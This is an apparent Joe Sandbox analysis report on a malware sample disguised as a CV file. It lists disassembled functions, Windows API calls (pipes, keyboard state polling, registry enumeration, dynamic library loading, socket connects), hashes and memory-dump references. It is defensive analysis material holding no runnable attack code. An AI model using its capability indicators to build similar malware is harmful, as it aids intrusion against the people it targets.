                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                                  • String ID: SysAnimate32
                                                                  • API String ID: 4146253029-1011021900
                                                                  • Opcode ID: 62dced6da67207efceffa89291b47d37cd5adae4b4019d6cc1e349d7d207d802
                                                                  • Instruction ID: e4883c4f5aa207bc8d80730d2590b9ba6c4764cd2b017b9899ad361f966b8c1d
                                                                  • Opcode Fuzzy Hash: 62dced6da67207efceffa89291b47d37cd5adae4b4019d6cc1e349d7d207d802
                                                                  • Instruction Fuzzy Hash: 9721CD71204206BBEF206E64DC89EBA37EDEF9A364F180698F911B31A0C731CC41E760
                                                                  Function 00B69568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetStdHandle.KERNEL32(0000000C), ref: 00B69588
                                                                  • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B695B9
                                                                  • GetStdHandle.KERNEL32(0000000C), ref: 00B695CB
                                                                  • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00B69605
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateHandle$FilePipe
                                                                  • String ID: nul
                                                                  • API String ID: 4209266947-2873401336
                                                                  • Opcode ID: 2e239581a1fe626d56fd1cbdb144c03e7c7e53150a6d8cb2bfa6b1c7714672c2
                                                                  • Instruction ID: 704bab32d2a3da5de9d77844a36f115a5ae894c46235176b4cb0fbe189cbda69
                                                                  • Opcode Fuzzy Hash: 2e239581a1fe626d56fd1cbdb144c03e7c7e53150a6d8cb2bfa6b1c7714672c2
                                                                  • Instruction Fuzzy Hash: 08216070600305ABDB219F29DC45A9A7BFCFFA5720F204A99F9A2D72D0DB74D945CB10
                                                                  Function 00B69634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetStdHandle.KERNEL32(000000F6), ref: 00B69653
                                                                  • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B69683
                                                                  • GetStdHandle.KERNEL32(000000F6), ref: 00B69694
                                                                  • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00B696CE
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateHandle$FilePipe
                                                                  • String ID: nul
                                                                  • API String ID: 4209266947-2873401336
                                                                  • Opcode ID: 1bc41bd27920991e30724fe8f38f5eee182fbd53e42b02315e35ea25c3673e35
                                                                  • Instruction ID: f52d9cb3fbb6ffb02fd0a359b2d5c0c9bbae048c45caba27a5bd1cf9b230e449
                                                                  • Opcode Fuzzy Hash: 1bc41bd27920991e30724fe8f38f5eee182fbd53e42b02315e35ea25c3673e35
                                                                  • Instruction Fuzzy Hash: 682180716003059BDB209F69DC45E9AB7ECEF46730F200AA9F8A1E72D0EB78D845CB51
                                                                  Function 00B6DAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetErrorMode.KERNEL32(00000001), ref: 00B6DB0A
                                                                  • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00B6DB5E
                                                                  • __swprintf.LIBCMT ref: 00B6DB77
                                                                  • SetErrorMode.KERNEL32(00000000,00000001,00000000,00BBDC00), ref: 00B6DBB5
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorMode$InformationVolume__swprintf
                                                                  • String ID: %lu
                                                                  • API String ID: 3164766367-685833217
                                                                  • Opcode ID: 6fd2a4758e57faab0d5e8e9acbef6dc7d95046b4f2d2836650412288f68341da
                                                                  • Instruction ID: 25d7e5431b069d50279e5cabe9382c124ca0afb9b99a4e5ceea9a6c1a216c0aa
                                                                  • Opcode Fuzzy Hash: 6fd2a4758e57faab0d5e8e9acbef6dc7d95046b4f2d2836650412288f68341da
                                                                  • Instruction Fuzzy Hash: D0218335A00208AFCB10EF64D985EAEBBF8EF49704B0440A9F509E7251DB74EA41CB61
                                                                  Function 00B5C9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5C82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00B5C84A
                                                                    • Part of subcall function 00B5C82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B5C85D
                                                                    • Part of subcall function 00B5C82D: GetCurrentThreadId.KERNEL32 ref: 00B5C864
                                                                    • Part of subcall function 00B5C82D: AttachThreadInput.USER32(00000000), ref: 00B5C86B
                                                                  • GetFocus.USER32 ref: 00B5CA05
                                                                    • Part of subcall function 00B5C876: GetParent.USER32(?), ref: 00B5C884
                                                                  • GetClassNameW.USER32(?,?,00000100), ref: 00B5CA4E
                                                                  • EnumChildWindows.USER32(?,00B5CAC4), ref: 00B5CA76
                                                                  • __swprintf.LIBCMT ref: 00B5CA90
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
                                                                  • String ID: %s%d
                                                                  • API String ID: 3187004680-1110647743
                                                                  • Opcode ID: 8c81e12ef55e5b0c765c365616d7c883a908e873852ec15a6042e9e72690f724
                                                                  • Instruction ID: be365711454744c95d5a2c03ef81a87ca14a7b337ccf2b1809a8dcb6df4e036a
                                                                  • Opcode Fuzzy Hash: 8c81e12ef55e5b0c765c365616d7c883a908e873852ec15a6042e9e72690f724
                                                                  • Instruction Fuzzy Hash: B611A2715003057BCF11BF649C86FA93BE9AB49705F0040E6FE19AA186DB749549DB70
                                                                  Function 00B3D17C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B3D1BA
                                                                  • GetStockObject.GDI32(00000011), ref: 00B3D1CE
                                                                  • SendMessageW.USER32(00000000,00000030,00000000), ref: 00B3D1D8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateMessageObjectSendStockWindow
                                                                  • String ID: @U=u
                                                                  • API String ID: 3970641297-2594219639
                                                                  • Opcode ID: 42891c24d57accc009a83798a7705a96a7a2c091637093a4c2ecd45e0e5b69ca
                                                                  • Instruction ID: cee5e6dbc8d3aec59f30e30f924b67ccd8b53345898eae483af6f4520213c858
                                                                  • Opcode Fuzzy Hash: 42891c24d57accc009a83798a7705a96a7a2c091637093a4c2ecd45e0e5b69ca
                                                                  • Instruction Fuzzy Hash: F711F572501909BFEF124F94EC51EEABBADFF09364F140156FA1562050CB31DD60DBA0
                                                                  Function 00B81945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00B819F3
                                                                  • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00B81A26
                                                                  • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00B81B49
                                                                  • CloseHandle.KERNEL32(?), ref: 00B81BBF
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                                  • String ID:
                                                                  • API String ID: 2364364464-0
                                                                  • Opcode ID: fb41e59e348b937c047793960a44620da87cdf3b7955362d20391102c3f52cbe
                                                                  • Instruction ID: c80bf767bf465fcc1ee8cc907b35a1e39f5ea106c67600922609d33004e3d82b
                                                                  • Opcode Fuzzy Hash: fb41e59e348b937c047793960a44620da87cdf3b7955362d20391102c3f52cbe
                                                                  • Instruction Fuzzy Hash: 39815670601314ABDF10EF58C886BADBBE9EF04710F148899F905AF392D7B5E941CB90
                                                                  Function 00B61C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • VariantInit.OLEAUT32(?), ref: 00B61CB4
                                                                  • VariantClear.OLEAUT32(00000013), ref: 00B61D26
                                                                  • VariantClear.OLEAUT32(00000000), ref: 00B61D81
                                                                  • VariantClear.OLEAUT32(?), ref: 00B61DF8
                                                                  • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00B61E26
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$Clear$ChangeInitType
                                                                  • String ID:
                                                                  • API String ID: 4136290138-0
                                                                  • Opcode ID: bc2fd4ae473573b3ae12194276ffa0506dd28a3a1a3a33eb7fe68acae53394e8
                                                                  • Instruction ID: 08784f50c1ab1f2bf47cd7897f5e10ff817c60beec053350b65b9900d4c3aeec
                                                                  • Opcode Fuzzy Hash: bc2fd4ae473573b3ae12194276ffa0506dd28a3a1a3a33eb7fe68acae53394e8
                                                                  • Instruction Fuzzy Hash: 455139B5A00209EFDB14CF58C880AAAB7F8FF4D314B158569E959DB301E734EA51CFA0
                                                                  Function 00B80688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 00B806EE
                                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00B8077D
                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00B8079B
                                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00B807E1
                                                                  • FreeLibrary.KERNEL32(00000000,00000004), ref: 00B807FB
                                                                    • Part of subcall function 00B3E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00B6A574,?,?,00000000,00000008), ref: 00B3E675
                                                                    • Part of subcall function 00B3E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00B6A574,?,?,00000000,00000008), ref: 00B3E699
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                                  • String ID:
                                                                  • API String ID: 327935632-0
                                                                  • Opcode ID: ed2b102bdec029ba0cdc5d176de3a3dad56875f2cddedb895dd4dfa19ab20478
                                                                  • Instruction ID: eb5d447051614155505719a085663c96644a49c79da2208ce436e57c24f90f6a
                                                                  • Opcode Fuzzy Hash: ed2b102bdec029ba0cdc5d176de3a3dad56875f2cddedb895dd4dfa19ab20478
                                                                  • Instruction Fuzzy Hash: 27512A79A00215DFCB00FFA8D4859ADB7F5FF59310B158099E91AAB362DB30ED45CB90
                                                                  Function 00B82E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B83C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B82BB5,?,?), ref: 00B83C1D
                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B82EEF
                                                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B82F2E
                                                                  • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00B82F75
                                                                  • RegCloseKey.ADVAPI32(?,?), ref: 00B82FA1
                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00B82FAE
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                                  • String ID:
                                                                  • API String ID: 3740051246-0
                                                                  • Opcode ID: 30d88344b94ef7debb7513dd9d6341d68113404496347e7702783b046bbf4ff2
                                                                  • Instruction ID: a816fcda6d16ce63ba3d989a6483a465d0797025ddf41e6ada2f111a1e09875e
                                                                  • Opcode Fuzzy Hash: 30d88344b94ef7debb7513dd9d6341d68113404496347e7702783b046bbf4ff2
                                                                  • Instruction Fuzzy Hash: 85515D71208204AFD714EF54D891E6EBBF9FF88704F04889DF699972A1DB70E905CB52
                                                                  Function 00B71206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00B712B4
                                                                  • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00B712DD
                                                                  • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00B7131C
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00B71341
                                                                  • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00B71349
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                                  • String ID:
                                                                  • API String ID: 1389676194-0
                                                                  • Opcode ID: 7b58cb2d09878409678726acf8745d3aa5c4541fc850803f07ecbb08b6ef8721
                                                                  • Instruction ID: cc8bf47087a7199fb67e4048540bb0eae899f77d65a91bb5b01bc5c3b7c75356
                                                                  • Opcode Fuzzy Hash: 7b58cb2d09878409678726acf8745d3aa5c4541fc850803f07ecbb08b6ef8721
                                                                  • Instruction Fuzzy Hash: 23410C35A00215DFDF01EF68C981AADBBF5FF09310B148495E91AAB362CB31ED01DB65
                                                                  Function 00B3B63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetCursorPos.USER32(000000FF), ref: 00B3B64F
                                                                  • ScreenToClient.USER32(00000000,000000FF), ref: 00B3B66C
                                                                  • GetAsyncKeyState.USER32(00000001), ref: 00B3B691
                                                                  • GetAsyncKeyState.USER32(00000002), ref: 00B3B69F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AsyncState$ClientCursorScreen
                                                                  • String ID:
                                                                  • API String ID: 4210589936-0
                                                                  • Opcode ID: 711da09725937f08e7c163688f40f5607fc6c12314f21bc74b0addaceedca592
                                                                  • Instruction ID: 0cfccb7f37d0cc170e00f0665fa92db4cefc7d43a8f0a34820a2b13cf48c8d1d
                                                                  • Opcode Fuzzy Hash: 711da09725937f08e7c163688f40f5607fc6c12314f21bc74b0addaceedca592
                                                                  • Instruction Fuzzy Hash: 25418031604109BBCF159F69C845EE9FBF4FB05320F2043A9F829922A5CB30A954DFA1
                                                                  Function 00B5B358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetWindowRect.USER32(?,?), ref: 00B5B369
                                                                  • PostMessageW.USER32(?,00000201,00000001), ref: 00B5B413
                                                                  • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00B5B41B
                                                                  • PostMessageW.USER32(?,00000202,00000000), ref: 00B5B429
                                                                  • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00B5B431
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessagePostSleep$RectWindow
                                                                  • String ID:
                                                                  • API String ID: 3382505437-0
                                                                  • Opcode ID: 8dd4425e0b5b16f334c80d4541bfa8494d4d10671e94ee06577eb2af0600f630
                                                                  • Instruction ID: 9ca11a8a271859edd873f7f3900c17faa4543cd426bed43493389c01977ef03b
                                                                  • Opcode Fuzzy Hash: 8dd4425e0b5b16f334c80d4541bfa8494d4d10671e94ee06577eb2af0600f630
                                                                  • Instruction Fuzzy Hash: DD31AE71900219EBDF14CF68D94DBDE7BB5EB05316F1042A9F921AB2D1C7B09958CB90
                                                                  Function 00B66318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B250E6: _wcsncpy.LIBCMT ref: 00B250FA
                                                                  • GetFileAttributesW.KERNEL32(?,?,?,?,00B660C3), ref: 00B66369
                                                                  • GetLastError.KERNEL32(?,?,?,00B660C3), ref: 00B66374
                                                                  • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00B660C3), ref: 00B66388
                                                                  • _wcsrchr.LIBCMT ref: 00B663AA
                                                                    • Part of subcall function 00B66318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00B660C3), ref: 00B663E0
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
                                                                  • String ID:
                                                                  • API String ID: 3633006590-0
                                                                  • Opcode ID: 03b5e383016d486d02f2d9ee6c7b948a2960d31bc58ed5a541445d990e0c8232
                                                                  • Instruction ID: f0bd780c3ce97fd075b841b560f6ee555b5ec940138a6a5fad90cd7a26376edb
                                                                  • Opcode Fuzzy Hash: 03b5e383016d486d02f2d9ee6c7b948a2960d31bc58ed5a541445d990e0c8232
                                                                  • Instruction Fuzzy Hash: 9121C6319042159ADB15AB7CAC42FEA33ECEF16360F1004E6F14AD7281EE6899819A59
                                                                  Function 00B78B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B7A82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00B7A84E
                                                                  • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00B78BD3
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B78BE2
                                                                  • connect.WSOCK32(00000000,?,00000010), ref: 00B78BFE
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
